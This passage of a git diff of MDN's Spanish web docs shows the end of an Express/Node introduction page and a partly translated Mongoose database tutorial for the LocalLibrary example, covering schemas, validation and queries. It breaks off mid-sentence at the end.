MongoDB querría utilizar el comando:</p> + +<pre class="brush: bash notranslate"><code>$ npm install mongodb +</code></pre> + +<p>La base de datos por si misma puede ser instalada localmente o en un servidor de la nube. En su codigo Express requiere el manejador, conectarse a la base de datos, y entonces ejecutar operaciones crear, leer, actualizar, y borrar (CLAB). }El ejemplo de abajo (de la documentación Express documentation) muestra como puede encontrar registros en la colección "mamiferos" usando MongoDB.</p> + +<pre class="brush: js notranslate">var MongoClient = require('mongodb').MongoClient; + +MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) { + if (err) throw err; + + db.collection('mammals').find().toArray(function (err, result) { + if (err) throw err; + + console.log(result); + }); +});</pre> + +<p>Otra aproximación popular es acceder a su base de datos indirectamente, via an Mapeo Objeto Relacional ("MOR"). En esta aproximación usted define sus datos como "objetos" o "modelos" y el MOR mapea estos a través del deliniamiento basico de la base de datos. Esta aproximación tiene el beneficio de que como un desrrollador puede continuar pensando en términos de objetos de JavaScript mas que en semántica de bases de datos, y en esto hay un lugar obvio para ejecutar la validación y chequeo de entrada de datos. Hablaremos más de bases de datos en un artículo posterior.</p> + +<p>Para más información ver <a href="https://expressjs.com/en/guide/database-integration.html">Integracion de Bases de Datos</a> (docs Express ).</p> + +<h3 id="Renderización_de_data_vistas">Renderización de data (vistas)</h3> + +<p>El Motor de plantilla (referido como "motor de vistas" por <em>Express</em>) le permite definir la estructura de documento de salida en una plantilla, usando marcadores de posición para datos que seran llenados cuando una pagina es generada. Las plantillas son utilizadas generalmete para crear HTML, pero tambien pueden crear otros tipos de documentos. Express tiene soporte para <a href="https://github.com/expressjs/express/wiki#template-engines">numerosos motores de plantillas</a>, y hay una util comparación de los motores más populares aquí: <a href="https://strongloop.com/strongblog/compare-javascript-templates-jade-mustache-dust/">Comparando Motores de Plantillas de JavaScript: Jade, Mustache, Dust and More</a>.</p> + +<p>En su código de configuración de su aplicación usted configura el motor de plantillas para usar y su localización Express podiría buscar plantillas usando las configuraciones de 'vistas' y 'motores de vistas', mostrado abajo (tendría también que instalar el paquete conteniendo su librería de plantillas!)</p> + +<pre class="brush: js notranslate">var express = require('express'); +var app = express(); + +// Set directory to contain the templates ('views') +app.set('views', path.join(__dirname, 'views')); + +// Set view engine to use, in this case 'some_template_engine_name' +app.set('view engine', 'some_template_engine_name'); +</pre> + +<p>La apariencia de la plantilla dependera de qué motor use. Asumiendo que tiene un archivo de plantillas nombrado "index.<template_extension>" este contiene placeholders para variables de datos nombradas 'title' y "message", podría llamar <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> en una función manejadora de rutas para crear y enviar la HTML response:</p> + +<pre class="brush: js notranslate">app.get('/', function(req, res) { + res.render('index', { title: 'About dogs', message: 'Dogs rock!' }); +});</pre> + +<p>Para más información vea <a href="http://expressjs.com/en/guide/using-template-engines.html">Usando motores de plantillas con Express</a> (docs Express ).</p> + +<h3 id="Estructura_de_Archivos">Estructura de Archivos</h3> + +<p>Express no hace asunciones en términos de estructura o que componentes usted usa. Rutas, vistas, archivos estáticos, y otras lógicas de aplicación específica puede vivir en cualquier número de archivos con cualquier estructura de directorio. Mientras que esto es perfectamente posible, se puede tener toda la aplicación en un solo archivo, en <em>Express</em>, tipicamente esto tiene sentido al desplegar su aplicacion dentro de archivos basados en función (e.g. administracion de cuentas, blogs, tableros de discusion) y dominio de problema arquitectonico (e.g. modelo, vista or controlador si tu pasas a estar usando una <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">arquitectura MVC</a>).</p> + +<p>En un tópico posterior usaremos el Generador de Aplicaciones <em>Express Application Generator</em>, el que crea un esquelo de una app modular que podemos facilmente extender para crear aplicaciones web.</p> + +<ul> +</ul> + +<h2 id="Resumen">Resumen</h2> + +<p><span class="tlid-translation translation" lang="es"><span title="">¡Felicitaciones, ha completado el primer paso en su viaje Express/Node!</span> <span title="">Ahora debes comprender los principales beneficios de Express y Node, y más o menos cómo se verían las partes principales de una aplicación Express (rutas, middleware, manejo de errores y plantillas).</span> <span title="">¡También debe comprender que con Express como un </span></span> framework unopinionated<span class="tlid-translation translation" lang="es"><span title="">, la forma en que une estas partes y las bibliotecas que usa dependen en gran medida de usted!</span><br> + <br> + <span title="">Por supuesto, Express es deliberadamente un un </span></span> framework <span class="tlid-translation translation" lang="es"><span title="">de aplicaciones web muy ligero, por lo que gran parte de sus beneficios y potencial proviene de bibliotecas y características de terceros.</span> <span title="">Lo veremos con más detalle en los siguientes artículos.</span> <span title="">En nuestro próximo artículo, veremos cómo configurar un entorno de desarrollo de Node, para que pueda comenzar a ver código de Express en acción.</span></span></p> + +<h2 id="Ver_también">Ver también</h2> + +<ul> + <li><a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs)</li> + <li><a href="https://expressjs.com/">Express</a> (home page)</li> + <li><a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> (Express docs)</li> + <li><a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> (Express docs)</li> + <li><a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li> + <li><a href="https://expressjs.com/en/guide/using-middleware.html">Using middleware</a> (Express docs)</li> + <li><a href="http://expressjs.com/en/guide/writing-middleware.html">Writing middleware for use in Express apps</a> (Express docs)</li> + <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs)</li> + <li><a href="Serving static files in Express">Serving static files in Express</a> (Express docs)</li> + <li><a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Express docs)</li> +</ul> + +<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> + +<h2 id="En_este_modulo">En este modulo</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> diff --git a/files/es/learn/server-side/express_nodejs/mongoose/index.html b/files/es/learn/server-side/express_nodejs/mongoose/index.html new file mode 100644 index 0000000000..f5701c468a --- /dev/null +++ b/files/es/learn/server-side/express_nodejs/mongoose/index.html @@ -0,0 +1,801 @@ +--- +title: 'Express Tutorial 3: Utilizando bases de datos (con Mongoose)' +slug: Learn/Server-side/Express_Nodejs/mongoose +translation_of: Learn/Server-side/Express_Nodejs/mongoose +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">Este artículo introduce brevemente las bases de datos así como su uso en aplicaciones Node/Express. Despues, profundiza en el uso específico de <a href="http://mongoosejs.com/">Mongoose</a> en el proyecto <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary</a>. Explica como se declaran y utilizan los esquemas modelo-objeto, los principales campos de datos y su validación básica. También muestra brevemente algunas de las muchas formas para acceder y modificar los datos.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisitos</th> + <td><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial 2: Creando un esqueleto web</a></td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Ser capaz de crear, diseñar y utilizar bases de datos en Node/Express utilizando Mongoose</td> + </tr> + </tbody> +</table> + +<h2 id="Overview">Overview</h2> + +<p>Library staff will use the Local Library website to store information about books and borrowers, while library members will use it to browse and search for books, find out whether there are any copies available, and then reserve or borrow them. In order to store and retrieve information efficiently, we will store it in a <em>database</em>.</p> + +<p>Las aplicaciones Express pueden utilizar diferentes bases de datos, y existen diferentes aproximaciones que se pueden utilizar para realizar operaciones CRUD (<strong>C</strong>reate, <strong>R</strong>ead, <strong>U</strong>pdate and <strong>D</strong>elete). Este tutorial proporciona una vista general sobre algunas de las opciones disponibles, para a continuación mostrar en detalle los mecanismos elegidos en particular.</p> + +<h3 id="What_databases_can_I_use">What databases can I use?</h3> + +<p><em>Express</em> apps can use any database supported by <em>Node</em> (<em>Express</em> itself doesn't define any specific additional behaviour/requirements for database management). There are <a href="https://expressjs.com/en/guide/database-integration.html">many popular options</a>, including PostgreSQL, MySQL, Redis, SQLite, and MongoDB.</p> + +<p>When choosing a database, you should consider things like time-to-productivity/learning curve, performance, ease of replication/backup, cost, community support, etc. While there is no single "best" database, almost any of the popular solutions should be more than acceptable for a small-to-medium-sized site like our Local Library.</p> + +<p>For more information on the options see: <a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs).</p> + +<h3 id="What_is_the_best_way_to_interact_with_a_database">What is the best way to interact with a database?</h3> + +<p>There are two approaches for interacting with a database: </p> + +<ul> + <li>Using the databases' native query language (e.g. SQL)</li> + <li>Using an Object Data Model ("ODM") / Object Relational Model ("ORM"). An ODM/ORM represents the website's data as JavaScript objects, which are then mapped to the underlying database. Some ORMs are tied to a specific database, while others provide a database-agnostic backend.</li> +</ul> + +<p>The very best <em>performance</em> can be gained by using SQL, or whatever query language is supported by the database. ODM's are often slower because they use translation code to map between objects and the database format, which may not use the most efficient database queries (this is particularly true if the ODM supports different database backends, and must make greater compromises in terms of what database features are supported).</p> + +<p>The benefit of using an ORM is that programmers can continue to think in terms of JavaScript objects rather than database semantics — this is particularly true if you need to work with different databases (on either the same or different websites). They also provide an obvious place to perform validation and checking of data.</p> + +<div class="note"> +<p><strong>Tip:</strong> Using ODM/ORMs often results in lower costs for development and maintenance! Unless you're very familiar with the native query language or performance is paramount, you should strongly consider using an ODM.</p> +</div> + +<h3 id="What_ORMODM_should_I_use">What ORM/ODM should I use?</h3> + +<p>There are many ODM/ORM solutions available on the NPM package manager site (check out the <a href="https://www.npmjs.com/browse/keyword/odm">odm</a> and <a href="https://www.npmjs.com/browse/keyword/orm">orm</a> tags for a subset!).</p> + +<p>A few solutions that were popular at the time of writing are:</p> + +<ul> + <li><a href="https://www.npmjs.com/package/mongoose">Mongoose</a>: Mongoose is a <a href="https://www.mongodb.org/">MongoDB</a> object modeling tool designed to work in an asynchronous environment.</li> + <li><a href="https://www.npmjs.com/package/waterline">Waterline</a>: An ORM extracted from the Express-based <a href="http://sailsjs.com/">Sails</a> web framework. It provides a uniform API for accessing numerous different databases, including Redis, MySQL, LDAP, MongoDB, and Postgres.</li> + <li><a href="https://www.npmjs.com/package/bookshelf">Bookshelf</a>: Features both promise-based and traditional callback interfaces, providing transaction support, eager/nested-eager relation loading, polymorphic associations, and support for one-to-one, one-to-many, and many-to-many relations. Works with PostgreSQL, MySQL, and SQLite3.</li> + <li><a href="https://www.npmjs.com/package/objection">Objection</a>: Makes it as easy as possible to use the full power of SQL and the underlying database engine (supports SQLite3, Postgres, and MySQL).</li> + <li> + <p><a href="https://www.npmjs.com/package/sequelize">Sequelize</a> is a promise-based ORM for Node.js and io.js. It supports the dialects PostgreSQL, MySQL, MariaDB, SQLite and MSSQL and features solid transaction support, relations, read replication and more.</p> + </li> +</ul> + +<p>As a general rule you should consider both the features provided and the "community activity" (downloads, contributions, bug reports, quality of documentation, etc.) when selecting a solution. At time of writing Mongoose is by far the most popular ORM, and is a reasonable choice if you're using MongoDB for your database.</p> + +<h3 id="Using_Mongoose_and_MongoDb_for_the_LocalLibrary">Using Mongoose and MongoDb for the LocalLibrary</h3> + +<p>For the <em>Local Library</em> example (and the rest of this topic) we're going to use the <a href="https://www.npmjs.com/package/mongoose">Mongoose ODM</a> to access our library data. Mongoose acts as a front end to <a href="https://www.mongodb.com/what-is-mongodb">MongoDB</a>, an open source <a href="https://en.wikipedia.org/wiki/NoSQL">NoSQL</a> database that uses a document-oriented data model. A “collection” of “documents”, in a MongoDB database, <a href="https://docs.mongodb.com/manual/core/databases-and-collections/#collections">is analogous to</a> a “table” of “rows” in a relational database.</p> + +<p>This ODM and database combination is extremely popular in the Node community, partially because the document storage and query system looks very much like JSON, and is hence familiar to JavaScript developers.</p> + +<div class="note"> +<p><strong>Tip:</strong> You don't need to know MongoDB in order to use Mongoose, although parts of the <a href="http://mongoosejs.com/docs/guide.html">Mongoose documentation</a> <em>are</em> easier to use and understand if you are already familiar with MongoDB.</p> +</div> + +<p>The rest of this tutorial shows how to define and access the Mongoose schema and models for the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">LocalLibrary website</a> example.</p> + +<h2 id="Designing_the_LocalLibrary_models">Designing the LocalLibrary models</h2> + +<p>Before you jump in and start coding the models, it's worth taking a few minutes to think about what data we need to store and the relationships between the different objects.</p> + +<p>We know that we need to store information about books (title, summary, author, genre, ISBN) and that we might have multiple copies available (with globally unique ids, availability statuses, etc.). We might need to store more information about the author than just their name, and there might be multiple authors with the same or similar names. We want to be able to sort information based on book title, author, genre, and category.</p> + +<p>When designing your models it makes sense to have separate models for every "object" (group of related information). In this case the obvious objects are books, book instances, and authors.</p> + +<p>You might also want to use models to represent selection-list options (e.g. like a drop down list of choices), rather than hard coding the choices into the website itself — this is recommended when all the options aren't known up front or may change. The obvious candidate for a model of this type is the book genre (e.g. Science Fiction, French Poetry, etc.)</p> + +<p>Once we've decided on our models and fields, we need to think about the relationships between them.</p> + +<p>With that in mind, the UML association diagram below shows the models we'll define in this case (as boxes). As discussed above, we've created models for book (the generic details of the book), book instance (status of specific physical copies of the book available in the system), and author. We have also decided to have a model for genre, so that values can be created dynamically. We've decided not to have a model for the <code>BookInstance:status</code> — we will hard code the acceptable values because we don't expect these to change. Within each of the boxes you can see the model name, the field names and types, and also the methods and their return types.</p> + +<p>The diagram also shows the relationships between the models, including their <em>multiplicities</em>. The multiplicities are the numbers on the diagram showing the numbers (maximum and minimum) of each model that may be present in the relationship. For example, the connecting line between the boxes shows that <code>Book</code> and a <code>Genre</code> are related. The numbers close to the <code>Book</code> model show that a Genre must have zero or more <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Book</span></font> (as many as you like), while the numbers on the other end of the line next to the <code>Genre</code> show that it can have zero or more associated genre.</p> + +<div class="note"> +<p><strong>Note</strong>: As discussed in our <a href="#related_documents">Mongoose primer</a> below it is often better to have the field that defines the relationship between the documents/models in just <em>one</em> model (you can still find the reverse relationship by searching for the associated <code>_id</code> in the other model). Below we have chosen to define the relationship between Book/Genre and Book/Author in the Book schema, and the relationship between the Book/BookInstance in the BookInstance Schema. This choice was somewhat arbitrary — we could equally well have had the field in the other schema.</p> +</div> + +<p><img alt="Mongoose Library Model with correct cardinality" src="https://mdn.mozillademos.org/files/15645/Library%20Website%20-%20Mongoose_Express.png" style="height: 620px; width: 737px;"></p> + +<div class="note"> +<p><strong>Note</strong>: The next section provides a basic primer explaining how models are defined and used. As you read it, consider how we will construct each of the models in the diagram above.</p> +</div> + +<h2 id="Mongoose_primer">Mongoose primer</h2> + +<p>This section provides an overview of how to connect Mongoose to a MongoDB database, how to define a schema and a model, and how to make basic queries. </p> + +<div class="note"> +<p><strong>Note:</strong> This primer is "heavily influenced" by the <a href="https://www.npmjs.com/package/mongoose">Mongoose quick start</a> on <em>npm</em> and the <a href="http://mongoosejs.com/docs/guide.html">official documentation</a>.</p> +</div> + +<h3 id="Installing_Mongoose_and_MongoDB">Installing Mongoose and MongoDB</h3> + +<p>Mongoose is installed in your project (<strong>package.json</strong>) like any other dependency — using NPM. To install it, use the following command inside your project folder:</p> + +<pre class="brush: bash"><code>npm install mongoose</code> +</pre> + +<p>Installing <em>Mongoose</em> adds all its dependencies, including the MongoDB database driver, but it does not install MongoDB itself. If you want to install a MongoDB server then you can <a href="https://www.mongodb.com/download-center">download installers from here</a> for various operating systems and install it locally. You can also use cloud-based MongoDB instances.</p> + +<div class="note"> +<p><strong>Note:</strong> For this tutorial we'll be using the mLab cloud-based <em>database as a service</em> <a href="https://mlab.com/plans/pricing/">sandbox tier</a> to provide the database. This is suitable for development, and makes sense for the tutorial because it makes "installation" operating system independent (database-as-a-service is also one approach you might well use for your production database).</p> +</div> + +<h3 id="Connecting_to_MongoDB">Connecting to MongoDB</h3> + +<p><em>Mongoose</em> requires a connection to a MongoDB database. You can <code>require()</code> and connect to a locally hosted database with <code>mongoose.connect()</code>, as shown below.</p> + +<pre class="brush: js">//Import the mongoose module +var mongoose = require('mongoose'); + +//Set up default mongoose connection +var mongoDB = 'mongodb://127.0.0.1/my_database'; +mongoose.connect(mongoDB); +// Get Mongoose to use the global promise library +mongoose.Promise = global.Promise; +//Get the default connection +var db = mongoose.connection; + +//Bind connection to error event (to get notification of connection errors) +db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre> + +<p>You can get the default <code>Connection</code> object with <code>mongoose.connection</code>. Once connected, the open event is fired on the <code>Connection</code> instance.</p> + +<div class="note"> +<p><strong>Tip:</strong> If you need to create additional connections you can use <code>mongoose.createConnection()</code>. This takes the same form of database URI (with host, database, port, options etc.) as <code>connect()</code> and returns a <code>Connection</code> object).</p> +</div> + +<h3 id="Defining_and_creating_models">Defining and creating models</h3> + +<p>Models are <em>defined </em>using the <code>Schema</code> interface. The Schema allows you to define the fields stored in each document along with their validation requirements and default values. In addition, you can define static and instance helper methods to make it easier to work with your data types, and also virtual properties that you can use like any other field, but which aren't actually stored in the database (we'll discuss a bit further below).</p> + +<p>Schemas are then "compiled" into models using the <code>mongoose.model()</code> method. Once you have a model you can use it to find, create, update, and delete objects of the given type.</p> + +<div class="note"> +<p><strong>Note:</strong> Each model maps to a <em>collection</em> of <em>documents</em> in the MongoDB database. The documents will contain the fields/schema types defined in the model <code>Schema</code>.</p> +</div> + +<h4 id="Defining_schemas">Defining schemas</h4> + +<p>The code fragment below shows how you might define a simple schema. First you <code>require()</code> mongoose, then use the Schema constructor to create a new schema instance, defining the various fields inside it in the constructor's object parameter.</p> + +<pre class="brush: js">//Require Mongoose +var mongoose = require('mongoose'); + +//Define a schema +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string: String, + a_date: Date +}); +</pre> + +<p>In the case above we just have two fields, a string and a date. In the next sections we will show some of the other field types, validation, and other methods.</p> + +<h4 id="Creating_a_model">Creating a model</h4> + +<p>Models are created from schemas using the <code>mongoose.model()</code> method:</p> + +<pre class="brush: js">// Define schema +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string: String, + a_date: Date +}); + +<strong>// Compile model from schema +var SomeModel = mongoose.model('SomeModel', SomeModelSchema );</strong></pre> + +<p>The first argument is the singular name of the collection that will be created for your model (Mongoose will create the database collection for the above model <em>SomeModel</em> above), and the second argument is the schema you want to use in creating the model.</p> + +<div class="note"> +<p><strong>Note:</strong> Once you've defined your model classes you can use them to create, update, or delete records, and to run queries to get all records or particular subsets of records. We'll show you how to do this in the <a href="#Using_models">Using models</a> section, and when we create our views.</p> +</div> + +<h4 id="Tipos_de_esquema_(campos)">Tipos de esquema (campos)</h4> + +<p>Un esquema puede tener un número de campos arbitrario — cada uno representa un campo en los documentos almacenados en <em>MongoDB</em>. A continuación se muestra un ejemplo de esquema con varios de los tipos de campos más comunes y cómo se declaran.</p> + +<pre class="brush: js">var schema = new Schema( +{ + name: <strong>String</strong>, + binary: <strong>Buffer</strong>, + living: <strong>Boolean</strong>, + updated: { type: <strong>Date</strong>, default: Date.now }, + age: { type: <strong>Number</strong>, min: 18, max: 65, required: true }, + mixed: <strong>Schema.Types.Mixed</strong>, + _someId: <strong>Schema.Types.ObjectId</strong>, + array: <strong>[]</strong>, + ofString: [<strong>String</strong>], // You can also have an array of each of the other types too. + nested: { stuff: { type: <strong>String</strong>, lowercase: true, trim: true } } +})</pre> + +<p>Most of the <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (the descriptors after “type:” or after field names) are self explanatory. The exceptions are:</p> + +<ul> + <li><code>ObjectId</code>: Represents specific instances of a model in the database. For example, a book might use this to represent its author object. This will actually contain the unique ID (<code>_id</code>) for the specified object. We can use the <code>populate()</code> method to pull in the associated information when needed.</li> + <li><a href="http://mongoosejs.com/docs/schematypes.html#mixed">Mixed</a>: An arbitrary schema type.</li> + <li><font face="Consolas, Liberation Mono, Courier, monospace">[]</font>: An array of items. You can perform JavaScript array operations on these models (push, pop, unshift, etc.). The examples above show an array of objects without a specified type and an array of <code>String</code> objects, but you can have an array of any type of object.</li> +</ul> + +<p>The code also shows both ways of declaring a field:</p> + +<ul> + <li>Field <em>name</em> and <em>type</em> as a key-value pair (i.e. as done with fields <code>name</code>, <code>binary </code>and <code>living</code>).</li> + <li>Field <em>name</em> followed by an object defining the <code>type</code>, and any other <em>options</em> for the field. Options include things like: + <ul> + <li>default values.</li> + <li>built-in validators (e.g. max/min values) and custom validation functions.</li> + <li>Whether the field is required</li> + <li>Whether <code>String</code> fields should automatically be set to lowercase, uppercase, or trimmed (e.g. <code>{ type: <strong>String</strong>, lowercase: true, trim: true }</code>)</li> + </ul> + </li> +</ul> + +<p>For more information about options see <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> (Mongoose docs).</p> + +<h4 id="Validation">Validation</h4> + +<p>Mongoose provides built-in and custom validators, and synchronous and asynchronous validators. It allows you to specify both the acceptable range or values and the error message for validation failure in all cases.</p> + +<p>The built-in validators include:</p> + +<ul> + <li>All <a href="http://mongoosejs.com/docs/schematypes.html">SchemaTypes</a> have the built-in <a href="http://mongoosejs.com/docs/api.html#schematype_SchemaType-required">required</a> validator. This is used to specify whether the field must be supplied in order to save a document.</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema-number-js">Numbers</a> have <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-min">min</a> and <a href="http://mongoosejs.com/docs/api.html#schema_number_SchemaNumber-max">max</a> validators.</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema-string-js">Strings</a> have: + <ul> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-enum">enum</a>: specifies the set of allowed values for the field.</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-match">match</a>: specifies a regular expression that the string must match.</li> + <li><a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-maxlength">maxlength</a> and <a href="http://mongoosejs.com/docs/api.html#schema_string_SchemaString-minlength">minlength</a> for the string.</li> + </ul> + </li> +</ul> + +<p>The example below (slightly modified from the Mongoose documents) shows how you can specify some of the validator types and error messages:</p> + +<pre class="brush: js"><code> + var breakfastSchema = new Schema({ + eggs: { + type: Number, + min: [6, 'Too few eggs'], + max: 12, + required: [true, 'Why no eggs?'] + }, + drink: { + type: String, + enum: ['Coffee', 'Tea', 'Water',] + } + }); +</code></pre> + +<p>For complete information on field validation see <a href="http://mongoosejs.com/docs/validation.html">Validation</a> (Mongoose docs).</p> + +<h4 id="Virtual_properties">Virtual properties</h4> + +<p>Virtual properties are document properties that you can get and set but that do not get persisted to MongoDB. The getters are useful for formatting or combining fields, while setters are useful for de-composing a single value into multiple values for storage. The example in the documentation constructs (and deconstructs) a full name virtual property from a first and last name field, which is easier and cleaner than constructing a full name every time one is used in a template.</p> + +<div class="note"> +<p><strong>Note:</strong> We will use a virtual property in the library to define a unique URL for each model record using a path and the record's <code>_id</code> value.</p> +</div> + +<p>For more information see <a href="http://mongoosejs.com/docs/guide.html#virtuals">Virtuals</a> (Mongoose documentation).</p> + +<h4 id="Methods_and_query_helpers">Methods and query helpers</h4> + +<p>A schema can also have <a href="http://mongoosejs.com/docs/guide.html#methods">instance methods</a>, <a href="http://mongoosejs.com/docs/guide.html#statics">static methods</a>, and <a href="http://mongoosejs.com/docs/guide.html#query-helpers">query helpers</a>. The instance and static methods are similar, but with the obvious difference that an instance method is associated with a particular record and has access to the current object. Query helpers allow you to extend mongoose's <a href="http://mongoosejs.com/docs/queries.html">chainable query builder API</a> (for example, allowing you to add a query "byName" in addition to the <code>find()</code>, <code>findOne()</code> and <code>findById()</code> methods).</p> + +<h3 id="Using_models">Using models</h3> + +<p>Once you've created a schema you can use it to create models. The model represents a collection of documents in the database that you can search, while the model's instances represent individual documents that you can save and retrieve.</p> + +<p>We provide a brief overview below. For more information see: <a href="http://mongoosejs.com/docs/models.html">Models</a> (Mongoose docs).</p> + +<h4 id="Creating_and_modifying_documents">Creating and modifying documents</h4> + +<p>To create a record you can define an instance of the model and then call <code>save()</code>. The examples below assume SomeModel is a model (with a single field "name") that we have created from our schema.</p> + +<pre class="brush: js"><code>// Create an instance of model SomeModel +var awesome_instance = new </code>SomeModel<code>({ name: 'awesome' }); + +// Save the new model instance, passing a callback +awesome_instance.save(function (err) { + if (err) return handleError(err); + // saved! +}); +</code></pre> + +<p>Creation of records (along with updates, deletes, and queries) are asynchronous operations — you supply a callback that is called when the operation completes. The API uses the error-first argument convention, so the first argument for the callback will always be an error value (or null). If the API returns some result, this will be provided as the second argument.</p> + +<p>You can also use <code>create()</code> to define the model instance at the same time as you save it. The callback will return an error for the first argument and the newly-created model instance for the second argument.</p> + +<pre class="brush: js">SomeModel<code>.create({ name: 'also_awesome' }, function (err, awesome_instance) { + if (err) return handleError(err); + // saved! +});</code></pre> + +<p>Every model has an associated connection (this will be the default connection when you use <code>mongoose.model()</code>). You create a new connection and call <code>.model()</code> on it to create the documents on a different database.</p> + +<p>You can access the fields in this new record using the dot syntax, and change the values. You have to call <code>save()</code> or <code>update()</code> to store modified values back to the database.</p> + +<pre class="brush: js">// Access model field values using dot notation +console.log(<code>awesome_instance.name</code>); //should log '<code>also_awesome</code>' + +// Change record by modifying the fields, then calling save(). +<code>awesome_instance</code>.name="New cool name"; +<code>awesome_instance.save(function (err) { + if (err) return handleError(err); // saved! + });</code> +</pre> + +<h4 id="Searching_for_records">Searching for records</h4> + +<p>You can search for records using query methods, specifying the query conditions as a JSON document. The code fragment below shows how you might find all athletes in a database that play tennis, returning just the fields for athlete <em>name</em> and <em>age</em>. Here we just specify one matching field (sport) but you can add more criteria, specify regular expression criteria, or remove the conditions altogether to return all athletes.</p> + +<pre class="brush: js"><code>var Athlete = mongoose.model('Athlete', yourSchema); + +// find all athletes who play tennis, selecting the 'name' and 'age' fields +Athlete.find({ 'sport': 'Tennis' }, 'name age', function (err, athletes) { + if (err) return handleError(err); + // 'athletes' contains the list of athletes that match the criteria. +})</code></pre> + +<p>If you specify a callback, as shown above, the query will execute immediately. The callback will be invoked when the search completes.</p> + +<div class="note"> +<p><strong>Note:</strong> All callbacks in Mongoose use the pattern <code>callback(error, result)</code>. If an error occurs executing the query, the <code>error</code> parameter will contain an error document, and <code>result</code> will be null. If the query is successful, the <code>error</code> parameter will be null, and the <code>result</code> will be populated with the results of the query.</p> +</div> + +<p>If you don't specify a callback then the API will return a variable of type <a href="http://mongoosejs.com/docs/api.html#query-js">Query</a>. You can use this query object to build up your query and then execute it (with a callback) later using the <code>exec()</code> method.</p> + +<pre class="brush: js"><code>// find all athletes that play tennis +var query = Athlete.find({ 'sport': 'Tennis' }); + +// selecting the 'name' and 'age' fields +query.select('name age'); + +// limit our results to 5 items +query.limit(5); + +// sort by age +query.sort({ age: -1 }); + +// execute the query at a later time +query.exec(function (err, athletes) { + if (err) return handleError(err); + // athletes contains an ordered list of 5 athletes who play Tennis +})</code></pre> + +<p>Above we've defined the query conditions in the <code>find()</code> method. We can also do this using a <code>where()</code> function, and we can chain all the parts of our query together using the dot operator (.) rather than adding them separately. The code fragment below is the same as our query above, with an additional condition for the age.</p> + +<pre><code>Athlete. + find(). + where('sport').equals('Tennis'). + where('age').gt(17).lt(50). //Additional where query + limit(5). + sort({ age: -1 }). + select('name age'). + exec(callback); // where callback is the name of our callback function.</code></pre> + +<p>The <a href="http://mongoosejs.com/docs/api.html#query_Query-find">find()</a> method gets all matching records, but often you just want to get one match. The following methods query for a single record:</p> + +<ul> + <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findById">findById()</a></code>: Finds the document with the specified <code>id</code> (every document has a unique <code>id</code>).</li> + <li><code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOne">findOne()</a></code>: Finds a single document that matches the specified criteria.</li> + <li><code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndRemove">findByIdAndRemove()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndUpdate">findByIdAndUpdate()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndRemove">findOneAndRemove()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndUpdate">findOneAndUpdate()</a></code>: Finds a single document by <code>id</code> or criteria and either update or remove it. These are useful convenience functions for updating and removing records.</li> +</ul> + +<div class="note"> +<p><strong>Note:</strong> There is also a <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code> method that you can use to get the number of items that match conditions. This is useful if you want to perform a count without actually fetching the records.</p> +</div> + +<p>There is a lot more you can do with queries. For more information see: <a 